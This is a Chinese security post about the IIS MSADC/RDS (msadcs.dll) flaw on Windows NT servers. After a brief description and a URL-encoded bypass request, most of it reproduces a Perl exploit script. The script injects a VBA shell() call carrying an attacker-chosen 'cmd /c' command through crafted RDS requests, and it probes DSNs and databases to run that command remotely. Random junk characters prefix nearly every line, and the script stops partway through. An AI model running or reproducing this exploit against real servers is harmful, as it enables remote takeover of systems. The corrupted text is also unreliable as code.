IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
N@8tf@BT
(Kj>Ao 涉及程序:
#-/_J? Microsoft NT server
4Y d$RP |UN#utw{^Y 描述:
(qDJgf4fgn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
CFeAKjG N|w;wF!3 详细:
Rk}=SB- 如果你没有时间读详细内容的话,就删除:
wD SSgk c:\Program Files\Common Files\System\Msadc\msadcs.dll
i~tps 有关的安全问题就没有了。
xI8v'[3 e*o:ltP./ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
F8B:P7I 8},fu3Z 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
uKo4nXVtp 关于利用ODBC远程漏洞的描述,请参看:
mWuhXY^Q ;(IAhWE?7 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =h}PL22 A&_v:z4y/ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Pcr;+'q http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9 'IDbe{ ^@]yiED{g 这里不再论述。
aq8mD^j -& cd$,, 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
+Q!Kj7EU/ (ewcj\l4* /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
IXsOTBM 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
/_r{7Gq. >k(AQW5? y|YhDO #将下面这段保存为txt文件,然后: "perl -x 文件名"
3Ael %j ?7O00@ #!perl
hYh~[Kr^@^ #
B9oB5E # MSADC/RDS 'usage' (aka exploit) script
>Yfo $S_ #
[bd?$qi # by rain.forest.puppy
b<KKF ' #
rH[Eh8j, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
A{Q~@1 # beta test and find errors!
#b{;)C fL CxVrnb[`q use Socket; use Getopt::Std;
q,(hs]\@ getopts("e:vd:h:XR", \%args);
E5$uvxCI ;MjOs&1f0K print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
<@=w4\5j9 x2+M0 }g if (!defined $args{h} && !defined $args{R}) {
_2WIi/6K print qq~
M:w]g` LKl Usage: msadc.pl -h <host> { -d <delay> -X -v }
kYkck]| -h <host> = host you want to scan (ip or domain)
u!cA_, -d <seconds> = delay between calls, default 1 second
[?#-JIZ3T -X = dump Index Server path table, if available
p fg>H -v = verbose
*JVJKqed -e = external dictionary file for step 5
:#UN^ "(m} #^q@ra Or a -R will resume a command session
%$F\o1S sUsIu,1Q ~; exit;}
.,SWa;[iB \K(#
r= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
m`8tHHF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
G)\6W#de4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
x[2eA!NC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.?.Q[ic $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9|//_4] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Q3x.qz uB35CRd if (!defined $args{R}){ $ret = &has_msadc;
kk3G~o+ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S;S_<GX BU;E6s>P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[E/8E
h< . "cmd /c ";
z#sSLE.$Z $in=<STDIN>; chomp $in;
P4~C0z $command="cmd /c " . $in ;
8 9f{8B]z mKBPIQ+ZS if (defined $args{R}) {&load; exit;}
;EfREfk
3(La)|k print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)"<:Md$7 &try_btcustmr;
p\M\mK c (0Ez@ print "\nStep 2: Trying to make our own DSN...";
- Tr*G4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Q?W}]RW j es[a print "\nStep 3: Trying known DSNs...";
cGe-|>: &known_dsn;
?:sQ]S/Er M \3Zj(E/ print "\nStep 4: Trying known .mdbs...";
1(WNrVm; &known_mdb;
XJi^gT N woR }=\K if (defined $args{e}){
3UQ~U 8 print "\nStep 5: Trying dictionary of DSN names...";
`oo(\O7t= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
GG[$- MM4Eq>F/ print "Sorry Charley...maybe next time?\n";
=k22f`8ew exit;
nD;8)VI'I fHwr6"DJ ##############################################################################
yn-TN_/Y, \~'+TW sub sendraw { # ripped and modded from whisker
8p~G)J3U sleep($delay); # it's a DoS on the server! At least on mine...
D[}qhDlX my ($pstr)=@_;
VcR(9~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kc70HrG die("Socket problems\n");
4f>
s2I&pQ if(connect(S,pack "SnA4x8",2,80,$target)){
z[ ml;? select(S); $|=1;
]Q0+1'yuK print $pstr; my @in=<S>;
p*]nCUs}n select(STDOUT); close(S);
Md ,KW# return @in;
*>p#/'_E } else { die("Can't connect...\n"); }}
(.B+U'6 ?]u=5gqUU ##############################################################################
{H%1sI 0CRk&_ht sub make_header { # make the HTTP request
~b.e9FhdA my $msadc=<<EOT
ZtqN8$[6n POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Nb@zn0A(; User-Agent: ACTIVEDATA
Og~3eL[1%C Host: $ip
T)PH8 " Content-Length: $clen
;p 'Ej'E Connection: Keep-Alive
xBi``x2eY ]pP [0S ADCClientVersion:01.06
9 ~$'? Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Gfn?1Kt{ )s4a<Sc] --!ADM!ROX!YOUR!WORLD!
z gDc= Content-Type: application/x-varg
knJoVo] Content-Length: $reqlen
9N]V F' 2DTBL:?` EOT
Y:}!W ; $msadc=~s/\n/\r\n/g;
\@HsMV2+zN return $msadc;}
)$e_CJ}9e 7cJh^M ##############################################################################
fbK`A?5K ON<X1eU sub make_req { # make the RDS request
OAXF=V F# my ($switch, $p1, $p2)=@_;
s0x;<si_ my $req=""; my $t1, $t2, $query, $dsn;
#y&O5 !*l5%H if ($switch==1){ # this is the btcustmr.mdb query
Sx3R2-!Z $query="Select * from Customers where City=" . make_shell();
Qcf5*]V $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)j>BvO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<i!7f26r CA{(x(W\: elsif ($switch==2){ # this is general make table query
Z,jK(7D(
$query="create table AZZ (B int, C varchar(10))";
nJ-U* yz $dsn="$p1";}
@d86l.= }hv" ku6! elsif ($switch==3){ # this is general exploit table query
'+cPx\4 $query="select * from AZZ where C=" . make_shell();
B#U:6Ty $dsn="$p1";}
#$[}JiuL/ 0*Is#73rjY elsif ($switch==4){ # attempt to hork file info from index server
]#VNZ#(" $query="select path from scope()";
" ~&d=f0m $dsn="Provider=MSIDXS;";}
5b^`M mlD 1 o elsif ($switch==5){ # bad query
MKN],l
N $query="select";
9xm' 0 ' $dsn="$p1";}
<c&6M /
!*+9+h $t1= make_unicode($query);
ir ^XZVR $t2= make_unicode($dsn);
7D%}(pX $req = "\x02\x00\x03\x00";
ayQB@2% $req.= "\x08\x00" . pack ("S1", length($t1));
_7LZ\V+MLW $req.= "\x00\x00" . $t1 ;
1Xi.OGl $req.= "\x08\x00" . pack ("S1", length($t2));
Hs~u&c $req.= "\x00\x00" . $t2 ;
NXw$PM|+R $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
>C|i^4ppI return $req;}
9(;I+.;8k W;Ei>~E ##############################################################################
c _v;"Q Z q|+`ihut sub make_shell { # this makes the shell() statement
e):rr* return "'|shell(\"$command\")|'";}
B:Xmc,|, CgO&z<A!& ##############################################################################
M'4$z^@Z g/ict2! sub make_unicode { # quick little function to convert to unicode
9cm9; my ($in)=@_; my $out;
5#v|t\
{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
C`0; return $out;}
xi
=\] F};G& ##############################################################################
=,-&h
V a!US:^}lu sub rdo_success { # checks for RDO return success (this is kludge)
Cg!]x
o my (@in) = @_; my $base=content_start(@in);
h NCoX*icd if($in[$base]=~/multipart\/mixed/){
A#6\5u return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&m>sGCZ return 0;}
?$#,h30 nBA0LIb ##############################################################################
voHFU#Z$ WTcrfs)T sub make_dsn { # this makes a DSN for us
Cd"iaiTD0 my @drives=("c","d","e","f");
Zh]FL8[
nc print "\nMaking DSN: ";
g}B|ZRz+{ foreach $drive (@drives) {
@m=xCg.Z print "$drive: ";
PnKgUJoa0 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_26<}&]b* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Tl9;KE| . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
fv",4L $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6HW8mXQh<h return 0 if $2 eq "404"; # not found/doesn't exist
-3fzDxD if($2 eq "200") {
]8qFxJ+2^ foreach $line (@results) {
uzx?U3.\ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
hZobFf } return 0;}
&7 YTz3aj W_E0+ ##############################################################################
{|kEGq~aE _8U
5mW sub verify_exists {
u,R;=DNl my ($page)=@_;
RnX:T)+o my @results=sendraw("GET $page HTTP/1.0\n\n");
^atX/ return $results[0];}
cN5,\I. !A\Qwg> ##############################################################################
\MA4> d/k70Ybk sub try_btcustmr {
B7fV_-p: G my @drives=("c","d","e","f");
[JY 1| N my @dirs=("winnt","winnt35","winnt351","win","windows");
8a^E{x@HT 5Cp6$V|/kv foreach $dir (@dirs) {
$dp;$X3 print "$dir -> "; # fun status so you can see progress
x@ZxV*T^ foreach $drive (@drives) {
O7_u9lz2 print "$drive: "; # ditto
R4V~+tnbG& $reqlen=length( make_req(1,$drive,$dir) ) - 28;
2)A% 'Akf $reqlenlen=length( "$reqlen" );
4[ 7)$ $clen= 206 + $reqlenlen + $reqlen;
K6=i\ <=D\Ckmb my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5)rMoYn25 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#xMl< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
/>Z`? avb'J^}f ##############################################################################
BP6|^Q k-$5H~(PZ sub odbc_error {
Ltx eT. my (@in)=@_; my $base;
/7nircXj@ my $base = content_start(@in);
\=O[' # if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
tR,&|?0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i7D)'4gkW $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NT^m.o~4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LB1AjNJ return $in[$base+4].$in[$base+5].$in[$base+6];}
YQ&Ww|xe print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
5p. vo"7 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6i6m*=h $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9Dq^x&z( P,|%7'? Y ##############################################################################
]>33sb
S6 5u<F0$qHc sub verbose {
[=})^t?8 my ($in)=@_;
vbo:,]T<A return if !$verbose;
9\_^"5l print STDOUT "\n$in\n";}
^Lx(if
WJ P9Yw\ ##############################################################################
0~(K@U># {W[OjPC~F sub save {
OM]d}}=Y my ($p1, $p2, $p3, $p4)=@_;
s7A3CY]-> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
4pin\ZS:C print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
29xm66
close OUT;}
X#bK.WN$ m+t<<5I[- ##############################################################################
s+@+<QE m0I)_R#X[ sub load {
^ucmScl my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d-zNvbU" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
'S_OOzpC @p=<IN>; close(IN);
\i*QKV< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H+ P&}
3 $target= inet_aton($ip) || die("inet_aton problems");
*Vbf;=Mb print "Resuming to $ip ...";
VO (KQx $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
rjFIK`_w if($p[1]==1) {
XYi-o][Mf $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,G q? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
>9Yo:b:f my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
EpX.{B@B_[ if (rdo_success(@results)){print "Success!\n";}
N-0kB vo else { print "failed\n"; verbose(odbc_error(@results));}}
lo1<t<w` elsif ($p[1]==3){
'F\@KE-d if(run_query("$p[3]")){
X 5.%e&`
print "Success!\n";} else { print "failed\n"; }}
9hJlc elsif ($p[1]==4){
hu]l{TXi if(run_query($drvst . "$p[3]")){
ma +iIt; print "Success!\n"; } else { print "failed\n"; }}
1BA/$8G exit;}
-x~4@~ WE-cq1) ##############################################################################
N)kZ2|oD u<VR;p:y sub create_table {
P}2i[m.*, my ($in)=@_;
3 #8bG( $reqlen=length( make_req(2,$in,"") ) - 28;
St1Ny,$yU $reqlenlen=length( "$reqlen" );
\jkMnS6FvL $clen= 206 + $reqlenlen + $reqlen;
?06+"Z my @results=sendraw(make_header() . make_req(2,$in,""));
{
]*#WU return 1 if rdo_success(@results);
nY>UYSv my $temp= odbc_error(@results); verbose($temp);
{"RUiL^ return 1 if $temp=~/Table 'AZZ' already exists/;
{Wi)/B} return 0;}
,2|(UTv Oc
Gg'R7 ##############################################################################
yDuMn<